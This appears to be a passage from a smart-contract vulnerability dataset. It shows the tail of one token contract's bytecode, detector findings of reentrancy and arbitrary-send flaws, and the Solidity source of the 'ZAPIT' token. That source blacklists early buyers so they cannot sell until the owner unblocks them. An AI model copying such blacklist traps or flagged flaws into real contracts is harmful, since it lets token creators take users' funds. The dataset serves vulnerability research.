9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613332565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c1565b6040518363ffffffff1660e01b8152600401610df9929190612dac565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dfe565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dd5565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a37565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f5c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f1c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612edc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f7c565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b602842611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ebc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f3c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90612efc565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff602a83613141565b9150612c0a826134ab565b604082019050919050565b6000612c22602283613141565b9150612c2d826134fa565b604082019050919050565b6000612c45601b83613141565b9150612c5082613549565b602082019050919050565b6000612c68601d83613141565b9150612c7382613572565b602082019050919050565b6000612c8b602183613141565b9150612c968261359b565b604082019050919050565b6000612cae602083613141565b9150612cb9826135ea565b602082019050919050565b6000612cd1602983613141565b9150612cdc82613613565b604082019050919050565b6000612cf4602583613141565b9150612cff82613662565b604082019050919050565b6000612d17602483613141565b9150612d22826136b1565b604082019050919050565b6000612d3a601783613141565b9150612d4582613700565b602082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e206020830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b3a40ebe9fcf5c108e299a16eb66e5f40e4670436259e4e008abd42fb0c195864736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,312
0xaf075e5e584957414ccabb2f1d3bc81d9fec96d1
/** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZAPIT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; string private _name = 'ZAPIT'; string private _symbol = 'ZAPIT'; uint8 private _decimals = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 1e7 * 1e18; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 public constant MAG = 10 ** 18; uint256 public rateOfChange = MAG; uint256 private _totalSupply; uint256 public _gonsPerFragment; mapping(address => uint256) public _gonBalances; mapping (address => mapping (address => uint256)) private _allowances; mapping(address => bool) public blacklist; mapping (address => uint256) public _buyInfo; uint256 public _percentForTxLimit = 1; //2% of total supply; uint256 public _percentForRebase = 5; //5% of total supply; uint256 public _timeLimitFromLastBuy = 5 minutes; uint256 private uniswapV2PairAmount; bool public _live = false; constructor () public { _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_msgSender()] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { if(account == uniswapV2Pair) return uniswapV2PairAmount; return _gonBalances[account].div(_gonsPerFragment); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function rebasePlus(uint256 _amount) private { _totalSupply = _totalSupply.add(_amount.div(5)); _gonsPerFragment = TOTAL_GONS.div(_totalSupply); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { uint256 txLimitAmount = _totalSupply.mul(_percentForTxLimit).div(100); require(amount <= txLimitAmount, "ERC20: amount exceeds the max tx limit."); if(from != uniswapV2Pair) { require(!blacklist[from] && !blacklist[to], 'ERC20: the transaction was blocked.'); require(_buyInfo[from] == 0 || _buyInfo[from].add(_timeLimitFromLastBuy) < now, "ERC20: Tx not allowed yet."); if(to != address(uniswapV2Router) && to != uniswapV2Pair) _tokenTransfer(from, to, amount, 0); else _tokenTransfer(from, to, amount, 0); } else { if(!_live) blacklist[to] = true; require(balanceOf(to) <= txLimitAmount, 'ERC20: current balance exceeds the max limit.'); _buyInfo[to] = now; _tokenTransfer(from, to, amount, 0); uint256 rebaseLimitAmount = _totalSupply.mul(_percentForRebase).div(100); uint256 currentBalance = balanceOf(to); uint256 newBalance = currentBalance.add(amount); if(currentBalance < rebaseLimitAmount && newBalance < rebaseLimitAmount) { rebasePlus(amount); } } } else { _tokenTransfer(from, to, amount, 0); } } function _tokenTransfer(address from, address to, uint256 amount, uint256 taxFee) internal { if(to == uniswapV2Pair) uniswapV2PairAmount = uniswapV2PairAmount.add(amount); else if(from == uniswapV2Pair) uniswapV2PairAmount = uniswapV2PairAmount.sub(amount); uint256 burnAmount = amount.mul(taxFee).div(100); uint256 transferAmount = amount.sub(burnAmount); uint256 gonTotalValue = amount.mul(_gonsPerFragment); uint256 gonValue = transferAmount.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonTotalValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, transferAmount); if(burnAmount > 0) emit Transfer(from, address(0x0), burnAmount); } function updateLive() external { if(!_live) { _live = true; } } function unblockWallet(address account) public onlyOwner { blacklist[account] = false; } function updatePercentForTxLimit(uint256 percentForTxLimit) public onlyOwner { require(percentForTxLimit >= 1, 'ERC20: max tx limit should be greater than 1'); _percentForTxLimit = percentForTxLimit; } }
